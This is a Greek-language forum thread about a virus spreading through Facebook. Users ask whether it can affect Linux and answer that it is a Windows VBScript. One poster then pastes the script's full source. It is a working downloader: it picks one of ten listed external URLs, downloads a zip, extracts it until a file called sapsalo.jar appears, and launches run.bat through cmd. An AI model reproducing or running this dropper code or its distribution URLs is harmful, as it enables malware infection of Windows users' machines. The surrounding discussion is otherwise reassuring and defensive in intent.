Ιός του Facebook

[Euclides]

Ο ιός που κυκλοφορεί τις τελευταίες μέρες στο Facebook, δημιουργεί πρόβλημα και σε υπολογιστές που τρέχουν Linux?

 

Γνωρίζει κανείς κάτι?

 

 

[Tmark]

Δεν είναι καν ιός, ένα vbscript είναι άρα φαντάζομαι δεν επηρεάζει κάτι εκτός από Windows.

[thomasG4]

Ο ιός που κυκλοφορεί τις τελευταίες μέρες στο Facebook, δημιουργεί πρόβλημα και σε υπολογιστές που τρέχουν Linux?

 

Γνωρίζει κανείς κάτι?

 

Οχι. To αρχείο είναι σε μορφή vbs και είναι σχεδιασμένο να χτυπάει Windows μηχανήματα και όχι Linux.

[arma1]

παληκαρια να μην ανοιγω αλλο ποστ, ηρθε σε μενα σε windows μπηκα στο μηνυμα αλλα δεν πατησα το link, εγω σε αυτην την περιπτωση εχω θεμα? φυσικα και το διεγραψα, αν και επρεπε να μπω απο ubuntu να δω τι περιεχει    (εχω dual boot)

[Euclides]

Αν δεν άνοιξες το script, δεν έχεις κανένα πρόβλημα.

[arma1]

οκ φιλε ευχαριστω!!

[Euclides]

Ο Κώδικας είναι αυτός:

 

Dim oFSO
Set oFSO = CreateObject(“Scripting.FileSystemObject”)
Dim csPATH : csPATH = CreateObject(“WScript.Shell”).ExpandEnvironmentStrings(“%SYSTEMDRIVE%”)

csPATH = csPATH & “\MyFolderakis”
‘ Create a new folder
oFSO.CreateFolder csPATH
Do
download(csPATH)
Unzip csPATH &”\content.zip”, csPATH

Loop While ReportFileStatus(csPATH &”\sapsalo.jar”)=0

Function download(csPATH)

link=RandomLink()
dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”)
dim bStrm: Set bStrm = createobject(“Adodb.Stream”)
xHttp.Open “GET”, link, False
xHttp.Send

with bStrm
.type = 1 ‘//binary
.open
.write xHttp.responseBody
.savetofile csPATH &”\content.zip”, 2 ‘//overwrite
end with
download = csPATH &”\content.zip”
End Function

 

Function ReportFileStatus(filespec)
Dim fso, msg
Set fso = CreateObject(“Scripting.FileSystemObject”)
If (fso.FileExists(filespec)) Then
msg = 1
Else
msg = 0
End If
ReportFileStatus = msg
End Function

Function RandomLink()
sites=Array(“http://xionobala.com/mermikia/moisis.zip”,”http://trendvidz.com/terlix/filezilla.zip”,

“http://tromeroi.com/download/adobe.zip”,”http://womfashion.com/aladin/aladin.zip”,

“http://yoodot.com/ouzo/gnome.zip”,”http://pepperstonix.com/koitatiegine/tikale.zip”,

“http://spatareporo.com/deitetous/simerastonaplha.zip”,

“http://fashionofheart.com/vasika/kalisperasas.zip”,

“http://masterolious.com/mozilla/firefox.zip”,”http://pentorali.com/safe/internet.zip”)

Dim max,min
max=UBound(sites)
min=LBound(sites)
Randomize
a=Int((max-min+1)*Rnd+min)
RandomLink = sites(a)
End Function

 

Sub Unzip(sSource, sTargetDir)
Set oFSO = CreateObject(“Scripting.FileSystemObject”)
if not oFSO.FolderExists(sTargetDir) then oFSO.CreateFolder(sTargetDir)
Set oShell = CreateObject(“Shell.Application”)
Set oSource = oShell.NameSpace(sSource).Items()
Set oTarget = oShell.NameSpace(sTargetDir)
oTarget.CopyHere oSource, 256
End Sub

Set WshShell = CreateObject(“WScript.Shell”)
WshShell.RUN “cmd /c “& csPATH &”\run.bat” , 2